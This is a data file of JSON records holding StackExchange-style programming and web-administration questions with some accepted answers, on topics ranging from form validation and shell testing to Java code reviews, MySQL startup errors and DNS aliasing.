{  "id": "_webmaster.44972"  , "question": "I'm new to form validation and I have been lucky over the years.  I would like to update my method of form creation in my sites.  I was curious to know what is standard and if there is a preexisting solution to my needs?  My goal this week is to learn how to validate an email address and check for spam.I can create forms in HTML5 without issues but I don't know if JavaScript form validation with PHP form validation is standard.  I did run across this from my searches and appears to be a good start, but I want to know more."  , "title": "New to website form validation"  , "tags": "php;javascript;forms;validation"  , "accepted_answer": "The linked article is from 2009. Since then some improvements have been made in regards to form validation. One being that HTML 5 already has built-in form validation, but fails in older browsers with no HTML 5 support.Of course there are javascript libraries which helps you with the validation part like:Parsley.js (Javascript) orjQuery Validation Engine (Javascript) orValidation (PHP)I suggest you take a look on the different implementation methods and what you can do with them.For Spam checking, well, that's another story. There aren't very good standalone libraries which are any good (at least not in my experience). Of course, you could always go with integrating the pretty awesome Akismet to detect spam after form submission or integrate some third-party services like reCAPTCHA."  } 
{  "id": "_unix.281660"  , "question": "POSIX seems to define that a shell should be able to evaluate like a calculator the expression $(( a * b)) where * is a binary operator +, - or *. I programmed such a calculator for my own shell and scripted a test for it. $ $((32 * 32))$((32 * 32))Result = 1024But when I run the test I can't fetch the output (1024) from the shell. I want to test in the script that the shell actually computes the right result instead of a manual inspection. Now my test works with a manual inspection but I want to programatically check that the result is correct. printf ********************* TEST Arithmetics  ... .\\nYou should see the number 4096 below #read _valgrind --leak-check=yes ./shell .<< EOFecho $((64 * 64))EOFThis is the output from the test:********************* TEST Arithmetics  ... .You should see the number 4096 below 'PATH' is set to /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin.stdin is a file or a pipe4096==31803== ==31803== HEAP SUMMARY:==31803==     in use at exit: 79,725 bytes in 167 blocks==31803==   total heap usage: 502 allocs, 335 frees, 228,175 bytes allocated==31803== ==31803== LEAK SUMMARY:==31803==    definitely lost: 0 bytes in 0 blocks==31803==    indirectly lost: 0 bytes in 0 blocks==31803==      possibly lost: 0 bytes in 0 blocks==31803==    still reachable: 79,725 bytes in 167 blocks==31803==         suppressed: 0 bytes in 0 blocks==31803== Reachable blocks (those to which a pointer was found) are not shown.==31803== To see them, rerun with: --leak-check=full --show-leak-kinds=all==31803== ==31803== For counts of detected and suppressed errors, rerun with: -v==31803== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 1 from 1)==31805== Memcheck, a memory error detector==31805== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.==31805== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info==31805== Command: ./shell .==31805== UpdateThis works, write it to file and look in the file for the number 1024. #!/bin/ksh#read _./shell .<< EOF > tmp.txtecho $((32*32))EOF"  , "title": "Checking that $((a * b)) evaluates in my own shell"  , "tags": "ksh;c;openbsd;posix;testing"  , "accepted_answer": "if [ 1024 == $((32*32)) ]; then    echo The test workedelse    echo The test failedfiThis ought to work; if your shell does not use $(( )) for arithmetic, the strings will not match.  You can also shorthand it with:[ 1024 == $((32*32)) ] || echo I can't math!"  } 
{  "id": "_cs.79515"  , "question": "I am contemplating the project of writing a compiler. I am wondering if, aside from the availability of easy google results, it is easier to write a compiler for a more explicit/verbose language such as ada, compared to a very compact language such as APL, for example.I should add that i am especially interested in whole-program optimization.Edit: my question boils down to do highly abstracted symbols/keywords (as in APL, where a single operator represents a function) make it easier to write a compiler, or is a language with a more traditional syntax (where a function includes a variety of operators) easier? "  , "title": "Is writing a compiler for a compact language easier?"  , "tags": "programming languages;compilers;program optimization"  , "accepted_answer": "In almost every case, the more compact languages like APL will be harder write a compiler for:On the front end (parser), in the worst case, you have a ton bunch of special cases for your symbols in your parser, and in the best case, you treat them as generic symbols, in which case you're in the exact same parsing position as a language that hasIn the back-end, with type checking, optimizers, etc., you either treat your symbols as standard library functions, in which case you're in the exact same place as a more verbose language, or you treat them as parts of the language, in which case you will have a bunch of special cases in your type checker, code generation, etc.In general, compilers are easiest for smaller languages. This is why most languages feature syntactic sugar, where some features are translated into a subset of your original language at compile time (for example, eliminating for-loops by turning them into while-loops). Many languages also keep code-generation and optimization simpler by compiling their language into a smaller intermediate language after parsing or type checking, then optimizing and compiling that language into machine code.I should add that i am especially interested in whole-program optimization.Syntax will not influence this in the slightest. Parsing is generally the least interesting part of writing a compiler, since there's many solutions for parsing, and once you have things into an Abstract Syntax Tree, what concrete syntax you used is entirely irrelevant. That is, two languages that parse to isomorphic ASTs will be exactly the same for difficulty to optimize.The only case where having a more compact language could help optimization is if you have a bunch of special cases of known optimizations (e.g. fusion rules) for your operators, but you could just as easily write special cases for standard library functions of a more verbose language."  } 
{  "id": "_softwareengineering.153163"  , "question": "I am just messing around, trying to figure out how stuff works and right now I have a couple questions about HTML, JS and CSS engines.I know there are two major JavaScript engines out there - V8 and JavaScriptCore (WebKit's JS engine as far as I know). Is that correct? And what are the main HTML + CSS renderers out there? Let's say I want to build a web browser using V8 (I saw it has some documentation and stuff + I like the way it works), what are the best options for me?Partially another question. Is there any bare browser that uses V8 and runs on Ubuntu at least?P.S. I am a Ubuntu user and prefer C++."  , "title": "HTML, JS, CSS Engines"  , "tags": "web development;c++"  , "accepted_answer": "JS engines [1, 2]:v8JavaScriptCore/SquirrelFishSpiderMonkey (Mozilla, C++)Rhino (Mozilla, Java)Tamarin (Flash)Chakra (IE9; not open source)Rendering Engines:WebkitGecko (Mozilla)Presto (Opera, not open source, not usable standalone)Trident (IE9)A quite simple option would be to use Webkit as a rendering engine as it quitewidely used in many different projects. Chrome/chromium is using v8 and runs on Ubuntu.[1] http://en.wikipedia.org/wiki/JavaScript_engine[2] http://en.wikipedia.org/wiki/List_of_ECMAScript_engines"  } 
{  "id": "_unix.239852"  , "question": "I have the following bash scriptif [[$NODE_NAME = Node1]]then    dir=../../testfithat I use in Jenkins execute shell prompt.It gives me an error saying Slave1 command not found.I just want to check if the $NODE_NAME variable equals the value Slave1. How do I do that in bash?"  , "title": "if else bash script"  , "tags": "bash;jenkins"  } 
{  "id": "_webmaster.71752"  , "question": "I don't want my site to be analyzed on WooRank or builtwith.com.Is there any way I can do that by editing the robots.txt file or any other possible way?"  , "title": "I don't want my site to be analyzed on WooRank or builtwith.com"  , "tags": "robots.txt"  } 
{  "id": "_reverseengineering.1370"  , "question": "I am using JD-GUI to decompile Java JAR files, but the problem is that it leaves many errors, such as duplicate variables which I have to fix myself and check to see if the program still works (if I fixed the errors correctly).I also tried Fernflower, but that leaves blank classes if it's missing a dependency.I'd like to know which decompiler:gives the least amount of errorsdeobfuscates the most."  , "title": "What is a good Java decompiler and deobfuscator?"  , "tags": "decompilation;tools;java;jar"  , "accepted_answer": "My apologies for the belated reply. I have been working on a new, open source Java decompiler. Feel free to check it out.I have not tested it against any obfuscated code, but I have seen it decompile many methods that JD-GUI failed to handle.  Note that it's a work in progress, and I'm sure you will find plenty of code that it will fail to decompile."  } 
{  "id": "_unix.249959"  , "question": "I have Windows 8, then I would install Linux Mint with USB live so i created partitions /home, / and swap then i started the installation.But after the restarting i still dont see any bootloader to select between WIndows and LInuxMint 17Here is my boot-info :       http://pastebin.com/GgWBPq7JSO how can i get a bootloader ?"  , "title": "How can I get a bootloader with WIndows 8 and LinuxMint"  , "tags": "grub"  } 
{  "id": "_webmaster.76096"  , "question": "I can't edit a page using the imagemap tag when logged in.This is for a mediawiki installation where all editors must be logged in.Page is athttp://mediawiki.owenks.uk/wiki/index.php?title=ImageMapPageIf I change the permissions and allow all users to edit, then I can save the page.  But if I change permissions back to $wgGroupPermissions['*']['edit'] = false;then login and try to edit the page, I get a blank screen after hitting Save Page.I tried to ask on the mediawiki help site but was unable to post.Any suggestions?MediaWiki   1.24.1PHP     5.6.4 (cgi-fcgi)MariaDB     5.5.41-MariaDB-1~wheezy"  , "title": "Can I use ImageMap and require editors to login in mediawiki?"  , "tags": "mediawiki"  , "accepted_answer": "Was nothing to do with ImageMap.  Was a conflict with GraphViz extension. Removing the GraphViz extension put everything back to normal."  } 
{  "id": "_softwareengineering.203719"  , "question": "When building a REST service with the HATEOAS constraint, it's very easy to advertise the existence of resources through linking. You make a GET to the root of my site and I respond with the root document listing all the first-tier resources:{    users: { href: /users }    questions { href: /questions }}Clients which understand how to read these href values could perform GET requests on those and discover all the current resources available in the application.This works well for basic lookup scenarios, but doesn't indicate whether a resource is queryable. For example, it may be reasonable to perform:GET /users?surname=SmithAre there any formats that could express this query ability with enough information that a client could form a coherent query without needed prior knowledge of the resource?Additionally, is there any way to express that a client is allowed to perform a POST to a given location with an expected location. For example, it could be expected that a client perform the following to create a new question resource:POST /questions{    title: Are there strategies for discovering REST services using HATEOAS?,    body: When building a REST service with the HATEOAS constraint, it's very...}When using HTML as the format for human consumption, we can express a lot of this through use of forms and written prompts to allow a human to discover the operations they are allowed to perform on a service.Are there formats which are capable of similar things for clients?"  , "title": "Are there strategies for discovering REST services using HATEOAS?"  , "tags": "design;rest;hateoas"  , "accepted_answer": "How would you know what kind of inputs are acceptable? That is to say, if your client has no prior knowledge, how would you define the semantics of surname? You're starting to get into the territory of needing something like OWL. I think it's more practical to expect your clients to understand the semantics of well-known mime-types; say, for example, text/vcard for people."  } 
{  "id": "_softwareengineering.249501"  , "question": "I start a new project this summer, consisting in developing a web version of a proprietary desktop ERP. The main goal of my company is to be able to propose a web version of its ERP, with all advantages it involves (mobility, possibility of selling SaaS versions, modern look and components ...), without losing any business feature.  By this, I mean that us developers can't rework the business side of the app. The main goal is to be able to translate same processes into web application.Business layer of the older version is not directly reusable, since it's really GUI-dependent. Those business process were rewritten as UML diagrams, which will be used as support for us to develop the new app.The problem I meet is that I don't know how to deal with process that need user interactions. For example :On validation of a sale order, the validation process checks all products it contains, verifying if there is available stock, and then perform different operations. If there is no stock available, the user is asked if he wants to cancel the order, remove this product or select another one equivalent. It works like a Javascript alert or confirm : current thread (ie validation process) is on hold, waiting for user interaction. After user's choice, it finishes dealing with the current product, and then validates the next one, and so on. How to deal with this kind of processes with a web application ? Is there some framework, design pattern or something else that permits to write this kind of business processes, able to start and hold like that ? A solution could be to split those business processes into smaller ones. For my example, we would have 2 sub-processes : the first one checks all products and flags the problematic ones. Then the user has a screen to decide what to do on flagged products, and validates. At this moment we are sure all products are OK, we can start the second sub-process to perform the others operations.The problem with it is that even if it's pretty simple on this example, it can be really more complicated. Some process have a lot of users interactions like this one, and then could be splitted into 10 subparts. Like I earlier precised, we don't want to modify or rethink business process, to be sure that we lose nothing or introduce new business bugs. Does someone has an experience about it ? Do you know some way to deal with this kind of desktop-to-web developments ?EDIT 15/07/14There was some misunderstanding about this post, surely related to my poor english expression and vocabulary.To summarize the problem : I got a bunch of business workflows described into UML diagrams. They comes from a huge 30-year-old CAMM (production management ERP). The project is to redevelop this application under Java web environment.The main point is that some of those workflows are user-dependent, since, in the middle of the processing, they need a user-interaction. Because web applications are based on a client-server architecture, I don't know how to port them. Reworking/rethinking these workflows is not an option, because it would be too much time-consuming. I need a way to simulate a desktop application on a web app, like Wt, but for Java (i'm not talking about UI but about how to develop workflows ), or to define rules to make those user-dependent workflows web-compatibles. "  , "title": "Desktop to Web - How to deal with user-interactive workflows"  , "tags": "web applications;business;java ee;business logic"  } 
{  "id": "_softwareengineering.227676"  , "question": "I came across the idea of using function points as a metric for the velocity of a Scrum team. I saw it in a team and I found two articles mentioning a link between estimates and function points (http://www.ifpug.org/ISMA5-2010/Amol%20Keote-FunctionPointsAndAgile-Hand-in-Hand.pdf and http://www.cosmicon.com/portal/public/FromStoryPointsToCOSMIC.pdf).I am not sure how this can work, because if I understand it correctly, function points measure the value of a feature (e.g. from the users perspective) whereas the velocity measures the effort of finished features. And in my view there's no direct connection between these two. To put it another way: If you have (let's say) a stable Scrum Team which works 2 week Sprints, the number of functions points they deliver per Sprint should vary (possible wildly), which would render a velocity based on function points quite meaningless (e.g. for  planning purposes)...Am I missing something here?"  , "title": "Using function points as a metric for the velocity of a Scrum team?"  , "tags": "agile;estimation;function point"  } 
{  "id": "_webapps.20245"  , "question": "Is it possible for an administrator of an open group page on Facebook to see if a non-member has been regularly clicking on the page and reading postings on the respective page?"  , "title": "Can the administrator of an open group page on Facebook tell who views page?"  , "tags": "facebook;facebook pages;statistics"  , "accepted_answer": "No, I don't think so. I am an admin of an open, though small, group page on Facebook and I can't see that information."  } 
{  "id": "_codereview.154642"  , "question": "I wrote an algorithm to separate a DAG into disjoint sets of vertices. I was hoping to have some comments on algorithmic complexity and efficiency of the Python code. Notably, I don't like the adding and removing of components from the components list.g = {1: [3, 4], 2: [5], 3:[7], 4:[], 5:[], 6:[1], 7:[]}vertices = set(g)components = []while vertices:  stack = list((vertices.pop(),))  comp = set()  while stack:    vert = stack.pop()    comp.add(vert)    if vert in vertices:       vertices.remove(vert)    for e in g[vert]:        if e in vertices:            stack.append(e)        else:            for component in components:               if e in component:                  component.update(comp)                  comp = component                  components.remove(comp)    components.append(comp)print([c for c in components])>>> [{2, 5}, {1, 3, 4, 6, 7}]"  , "title": "Split DAG into disjoint sets"  , "tags": "python;algorithm;graph;complexity"  } 
{  "id": "_webapps.101625"  , "question": "If I post something on Facebook I can see in the privacy settings, I can make it visible to all of my friends and I can also choose except and list any individual people to not be included.I am trying to understand how this behaves if there is a person tagged in the post and I include Friends of Tagged in the privacy scope.So for example:I put a post and I tag Joe.  I set the privacy settings to All Friends except Bill and Friends of TaggedIf Bill is a friend of Joe's, will he see the post?  If yes, is there anyway to not have him able to see that besides removing Friends of Tagged?"  , "title": "Does Facebook respect your except list if those people are in friends of tagged?"  , "tags": "facebook;facebook privacy"  } 
{  "id": "_codereview.52558"  , "question": "This code is based off the Stack implementation in Chapter 3 of Cracking The Coding Interview. I modified the code to make it compile and give me the correct output. I'd appreciate any feedback on code style and correctness, assuming that I write this code in a technical interview.The pseudocode from Cracking the Coding Interview, which is implemented using a linked list:class Stack {    Node top;    Object pop() {        if (top != null) {            Node item = top.data;            top = top.next;            return item;        }        return null;    }    void push(Object item) {        Node t = new Node(item);        t.next = top;        top = t;    }    Object peek() {        return top.data;    }}My code:public class Stack {    Node first;    Node last;    public Stack(Node f, Node l) {        first = f;        last = l;        first.next = last;    }    public Stack() {        first.next = last;    }    public void push(Object data) {        if(first == null) {            first = new Node(data, null);        }        else {            last.next = new Node(data, null);            last = last.next;        }    }    public Object pop() {        if(first == null) {            return -1;        }        else {             Object item = last.data;            Node cur = first;            while (cur.next.next != null) {                cur = cur.next;            }            last = cur;            return item;        }    }    public Object peek() {        if(first == null) {            return -1;        }        Object item = last.data;        return item;    }    public static void main(String[] args) {        Stack stack = new Stack(new Node(1, null), new Node(2, null));        stack.push(3);        System.out.println(stack.peek() == 3);        stack.pop();        System.out.println(stack.peek() == 2);    }    private static class Node {        Object data;        Node next;        private Node(Object d, Node n) {            data = d;            next = n;        }    }}"  , "title": "Implementing a Stack in Java for a technical interview"  , "tags": "java;interview questions;linked list;stack"  , "accepted_answer": "A stack should not know about the first element. A stack only know about the last element that was pushed, so the Stack object itself should only have one Node called last. Because of this, the constructor should be changed as well to only take one Node ex: public Stack(Node node).Edit: As @vnp says, Node is private, so it cannot be created outside this class. Either create a constructor which takes an Object, or don't create any constructors and always create an empty Stack.This constructor doesn't do anything and will throw a NullPointerException:public Stack() {    first.next = last;}In pop(), you shouldn't need to do any fancy while loops. Just check if last is null and if not, get last's data and set last to last.next: public Object pop() {    if(last == null) {        return -1;    }    else {        Object item = last.data;        last = last.next;        return item;    }   }In push(), you should simply set last to be the new Node, and have it point to the old last as it's next:public void push(Object data) {    last = new Node(data, last);}In peek(), you can change first to last and simply return last.data:public Object peek() {    if(last == null) {        return -1;    }    return last.data;}One final point: you should not give your variables one character names like d, n, l, and f. If the variables in your constructor should have the same name as the private member variables, then give them the same name and prefix the members with this to differentiate them. For example, you can change the Node constructor to:private Node(Object data, Node node) {    this.data = data;    this.next = node;}"  } 
{  "id": "_cs.60654"  , "question": "Problem: Consider a set of $n$ points in the plane, how could we find a strip of minimal vertical distance that contains all points?Definitions: A strip is defined by two parallel lines and the vertical distance is defined as the distance between their intersection points with the $y$ axis.3 variables solution: In the plane itself, this could be solved using a linear program of three variables, $m$, $a$ and $b$ where we look for $y=m\\cdot x+a$ and $y=m\\cdot x+b$.Duality: If we move to the dual plane, we get a set on $n$ lines which can be transformed to $n$ upper half-planes or $n$ bottom half-planes. Denote $C_1$ to be the intersection of all upper half-planes intersection and $C_2$ of the bottom ones. The strip in the dual problem is represented by the two ends of the shortest vertical segment crossing the $C_1$ and $C_2$.My question is - can we express the problem in the dual plane using a linear program of two variables?"  , "title": "Finding a minimal width strip which encloses a set of points in the plane"  , "tags": "computational geometry;linear programming;duality"  , "accepted_answer": "Take the convex hull of your set of points. Then use rotating calipers tofind the optimal strip.What is needed here to make this work is a lemma that characterizes apotentially optimal solution: Could the optimum occur without one supporting linethrough two points (flush to the hull)?Added. Yes, that flush-lemma holds, because more-horizontal strips are preferred. So: for each edge $e$ of the convex hull $H$, extend $e$ to a line $L_1$, and let $L_2$ bethe parallel line supporting $H$ on the other side. Compute the vertical distance between $L_1$ and $L_2$.Select the shortest distance among all alternatives. "  } 
{  "id": "_unix.216829"  , "question": "I have recently installed Arch Linux x64 and I wanted to install the LAMP stack. Everything worked fine, until I arrived to the MySQL part that I installed but can't launch.The output of sudo systemctl start mysqldgives :Job for mysqld.service failed because a timeout was exceeded. See systemctl status mysqld.service and journalctl -xe for details.and here is the systemctl status mysqld.service output :* mysqld.service - MariaDB database server   Loaded: loaded (/usr/lib/systemd/system/mysqld.service; disabled; vendor preset: disabled)   Active: activating (start-post) (Result: exit-code) since Fri 2015-07-17 22:31:04 CET; 20s ago  Process: 9548 ExecStart=/usr/bin/mysqld --pid-file=/run/mysqld/mysqld.pid (code=exited, status=1/FAILURE) Main PID: 9548 (code=exited, status=1/FAILURE);         : 9549 (mysqld-post)   CGroup: /system.slice/mysqld.service           `-control             |-9549 /bin/sh /usr/bin/mysqld-post             `-9743 sleep 1Jul 17 22:31:04 sn4k3 systemd[1]: Starting MariaDB database server...Jul 17 22:31:04 sn4k3 mysqld[9548]: 150717 22:31:04 [Note] /usr/bin/mysqld (mysqld 10.0.20-MariaDB-log) starting as process 9548 ...Jul 17 22:31:04 sn4k3 mysqld[9548]: 150717 22:31:04 [Warning] Can't create test file /var/lib/mysql/sn4k3.lower-testJul 17 22:31:04 sn4k3 mysqld[9548]: [96B blob data]Jul 17 22:31:04 sn4k3 mysqld[9548]: 150717 22:31:04 [ERROR] AbortingJul 17 22:31:04 sn4k3 mysqld[9548]: 150717 22:31:04 [Note] /usr/bin/mysqld: Shutdown completeJul 17 22:31:04 sn4k3 systemd[1]: mysqld.service: Main process exited, code=exited, status=1/FAILURE"  , "title": "unable to launch mysqld in arch linux"  , "tags": "arch linux;mysql;mariadb"  , "accepted_answer": "Found the solution you just have  to run this command : sudo mysql_install_db --user=mysql --basedir=/usr/ --ldata=/var/lib/mysql/source : Archlinux wiki"  } 
{  "id": "_opensource.4628"  , "question": "If a company wants to use an application that is distributed under the BSD license with this text below.Redistribution and use in source and binary forms, with or withoutmodification, are permitted provided that the following conditions are met:  * Redistributions of source code must retain the above copyright    notice, this list of conditions and the following disclaimer.  * Redistributions in binary form must reproduce the above copyright    notice, this list of conditions and the following disclaimer in the    documentation and/or other materials provided with the distribution.  * Neither the name of the <organization> nor the    names of its contributors may be used to endorse or promote products    derived from this software without specific prior written permission.THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS ISAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THEIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSEARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANYDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED ANDON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OFTHIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.The commercial company wants to use the software in binary form.Do you need to contact the author in order to use the software, in binary form, for a commercial product?"  , "title": "Do you need to contact the author to use a BSD-licensed software?"  , "tags": "bsd"  } 
{  "id": "_unix.182110"  , "question": "So I have a file name test.txt inside that file I have about 20 lines of text that are delimited by pipe | Example:John|freshman|seatle|math|4|fulltimeBob|senior|Tacoma|biology|4|part-timeI want to make 2 lines for each record after number 4 , example John|freshman|seatle|math|4|full-timeBob|senior|Tacoma|biology|4|part-time Etc.."  , "title": "add a new line to a delimited file"  , "tags": "shell script;text processing"  , "accepted_answer": "You could use sed:sed -i 's/|4|/|\\n4|/' file.txtThis will replace |4| with |\\n4| (i.e. a vertical bar, a newline, and then 4|)."  } 
{  "id": "_webapps.38964"  , "question": "I wish to sync my work's Microsoft Outlook calendar one-way with Google Calendar so that I can view my events all together on my Google Account.I wish to create a new Calendar on Google Calendar called work, which my Microsoft Outlook calendar will feed data to.I've tried a few apps which allow me to sync the calendars, but it mainly seems to want to sync to my main Google Calendar, not a specific one."  , "title": "Is it possible to sync MS Outlook with specific Google Calendar?"  , "tags": "google calendar;outlook;synchronization"  } 
{  "id": "_codereview.109221"  , "question": "This is one of my first attempts in writing a bowling scorecard app. It can have more than one player. I would like to know if anyone has suggestions to improve the code. I am trying to make it as object oriented and as organized as possible. There are 2 public methods, one that accepts pins that were knocked down, and another method that gets score card information that can later be displayed to the user.I feel though for some reason that the playerRolled method is a little bit disorganized. Maybe it's responsible for too many things. Essentially in mind I wanted to create a simple way to interface with the object by just having one method that does everything, will add points, change players, change frames, and returns boolean if game is completed. This leaves all the game logic within the class and users of this class just have to feed the application some player names and the pins being knocked. The app will take care of the rest.Is this a good design?  var BowlingGame = function(params) {var currentFrame = 0;var playerNumber = 0;var gameOver = false;var players = [];if (params) {    for(var name in params) {        players.push({name: params[name], frames : []})    }}function isLastFrame() {    return (currentFrame == 9)}function isGameOver() {    return (isLastFrame() && frameFinished() && (playerNumber == (players.length - 1)))}function frameFinished() {    if (!players[playerNumber].frames[currentFrame]){        return false    }    var rolls = players[playerNumber].frames[currentFrame].length    var sumRolls = 0;    players[playerNumber].frames[currentFrame].map(function(item){        sumRolls += item    })    if (isLastFrame() && (sumRolls >= 10) && (rolls < 3)) return false    return (rolls == 2 || players[playerNumber].frames[currentFrame][0] == 10) ? true : false }function nextFrame() {    if (currentFrame < 9) {        currentFrame++    }}function nextPlayer() {    if(playerNumber < (players.length - 1)){        playerNumber ++    } else {        playerNumber = 0    }}this.playerRolled = function playerRolled(pins) {    if (!gameOver) {        // validate pins not more than 10        if (players[playerNumber].frames[currentFrame]) {            players[playerNumber].frames[currentFrame].push(pins)        } else {            players[playerNumber].frames[currentFrame] = [pins]        }        frameCompleted = frameFinished();        isLastPlayer = (playerNumber == (players.length - 1))        if (frameCompleted) {            if (isLastPlayer) nextFrame();            nextPlayer();        }         gameOver = isGameOver()        return true    }    return false}   this.getScoreCard = function getScoreCard() {    for (var player in players) {        var runningTotals = calculateFrameTotals(player)        players[player].scores = runningTotals    }    return players;}function calculateFrameTotals(playerNumber) {    var sum = 0;    var sumFrameRolls = 0;    var totalPointsPerFrame = []    function getSum(startingFrame, length) {        // console.log('start', startingFrame, players[playerNumber].frames[startingFrame])        for (var num in players[playerNumber].frames[startingFrame]) {            sum += players[playerNumber].frames[startingFrame][num];            length--;            if (length==0) break;        }        if (length > 0 && players[playerNumber].frames[startingFrame+1]) {            getSum(startingFrame + 1, length)        }    }    // for each frame    for (var frame in players[playerNumber].frames) {        sum = 0        sumFrameRolls = 0        players[playerNumber].frames[frame].map(function(item){            sumFrameRolls += item        })        if ( players[playerNumber].frames[frame][0] == 10 ) {            getSum(parseInt(frame)+1, 2)        } else if (sumFrameRolls == 10) {            getSum(parseInt(frame)+1, 1)        }        totalPointsPerFrame.push(sumFrameRolls + sum)     }    return totalPointsPerFrame;}};Then to run the app, let's say using a Node console:var game = new BowlingGame(['Ron Buenavida','Omer'])game.playerRolled(10);game.playerRolled(3);game.playerRolled(2);game.playerRolled(10);console.log(JSON.stringify(game.getScoreCard()))"  , "title": "Bowling scorecard app"  , "tags": "javascript;object oriented;game"  , "accepted_answer": "First, don't use for-in for arrays. It will run through the elements of the array as well as other properties. Use a regular for loop, or better use map instead. Additionally, I suggest you name params to something else. params is too generic, plus the array isn't really params. It's a list of player names.var players = playerNames.map(function(player){  return { name: player, frames : []}});In frameFinished, I see you use map to construct a sum. reduce is the better method for such operation.var sumRolls = players[playerNumber].frames[currentFrame].reduce(function(sum, item){  return sum + item;}, 0);Further down in the same function, I see you have a bunch of conditions. You can actually just combine them. Additionally, conditions are by themselves boolean. No need to use a ternary to return true or false. Also, I suggest you put the values in variables for easy comprehension.var isLastFrame = isLastFrame();var hasRolledAllTenRounds = sumRolls >= 10;var hasRolledLessThanThree = rolls < 3;var hasRolledTwo = rolls === 2;var currentPlayerIsAtFrameTen = players[playerNumber].frames[currentFrame][0] === 10;return !(isLastFrame && hasRolledAllTenRounds && hasRolledLessThanThree) || // and so on...Now one problem with if statements is in the long run, they can easily run out of control and end up in deeply nested situations. One way you can avoid that is to use ternaries and condition variables. For instance, nextPlayer.playerNumber = (playerNumber < (players.length - 1)) ? player + 1 : 0or currentFramecurrentFrame = currentFrame < 9 ? currentFrame + 1 : currentFrame;The rest of your code seem to follow the same pattern. I suggest applying what I have reviewed to the rest, where applicable."  } 
{  "id": "_codereview.43697"  , "question": "The code below will split environment variables from a command line (always appear at the end of the command line). Environment variables are represented by '-E key=value'. I've achieved this like so, but I'm wondering if there's a more elegant waypublic class TestSplit {  public static void main(String... args) {    String command = -ps 4 -pe 5 -E opInstallDir=/home/paul -E opWD=/home/paul/remake -E opFam=fam -E opAppli=appli;    int startPosition = command.indexOf(-E) + 2;    String envVars = command.substring(startPosition);    for(String pair: envVars.split(-E)) {      String[] kv = pair.split(=);      System.out.println(kv[0] +   +kv[1]);    }  }}EDIT Just to clarify these aren't command line arguments for launching the program from the console, they are command line arguments for launching an external program. The details of which I haven't included."  , "title": "Splitting a command line into key/value pairs"  , "tags": "java;child process"  , "accepted_answer": "Like @palacsint I will recommend an external library. Apache commons-cli is a decent choice. Another choice (my preference) is java gnu-getopt ... I like it because I am familiar with the notations and standards from previous work. It can be a little complicated the first time around otherwise.On the other hand, I tend not to use an external library unless the code is already going to be relatively complicated....But, back to your code.Why do you have everything in a single String? Why is it not part of the String...args ?The first thing about command-line arguments is that they get complicated very fast. What if the argument was:String command = -ps 4 -pe 5 -E opInstallDir=/opt/OSS-EVAL/thiscode -E opWD=/home/paul/remake -E opFam=fam -E opAppli=appli -Edocs='My Documents' -Eparse=key=value;I have thrown in a few things there.First up, on our one machine at work, we really do have the directory /opt/OSS-EVAL/ which we use to install/evaluate OSS software/libraries.The above will break your parsing because it has the -E embedded in the name.Next up, is 'POSIX-style' commandline arguments can have quoted values, and also values with an = in the value.So, things I would recommend to you:Locate the source of your command-line values. It will likely be available as an array, not a single string. Keep the data as an array!Second, with the array, it is easier to look for stand-alone values that are -E, or, if the input is -Ekey=value then you look for values that start with -E.Finally, when you split the key/value on the =, limit the split to 2.String[] kv = pair.split(=, 2);Which will preserve any of the = tokens inside the value part.EDIT:You have suggested in your edit that this is for sending data to an external command.If you are using Java to initialize the external command, then please, please, please use the version of exec() that takes a command array, or use the ProcessBuilder which allows you to send all the command-line parameters as separate values in an array!!!"  } 
{  "id": "_softwareengineering.337487"  , "question": "I have a program that needs to get a part of its data from an api of another program, and the data needs to update every 5 seconds.For example: I have a program that presents homework for each class.(Lets assume the homework updates every 5 seconds).My program gets the homework from an api.So at the beginning we set an interval in each client side - every student asked the server every 5 seconds to update its data, and the server sent a request to the api, the server prosecced the data from the response, the server saves the updated data to our db and sends it back to the client.If i have 4 students from class A and 2 students from class B - i have 6 requests to the api. We wanted to reduce these requests, so we chose to save the data to the db with the timestamp.Now if student1 from class A saved the homework into the db, and after 2 seconds student2 (class A) asks for new homework,  he checks in the db first and get the data from the db and not from the api.The question is:How should we keep our data up to date from another api? Should we keep it this way or should we create another site/program that's in charge on the updates?Hope you'll have an answer for us.Thank you,Lior."  , "title": "Keep data up to date via api"  , "tags": "design patterns;api design"  } 
{  "id": "_webmaster.14493"  , "question": "I have a main site with a bunch of subdomains created. Each subdomain is a blog and I want each blog to have its own domain name i.e.thisguy.com -> blog1.mainsite.comthatguy.com -> blog2.mainsite.comI bought the new domains and I set up the CNAME records as above to alias them to the appropriate subdomains. However, I get my hosts a domain is pointing to one of our servers but we don't know anything about it landing page.How can I set up these domains as aliases of my subdomains?"  , "title": "How can I alias domains to subdomains?"  , "tags": "subdomain"  } 
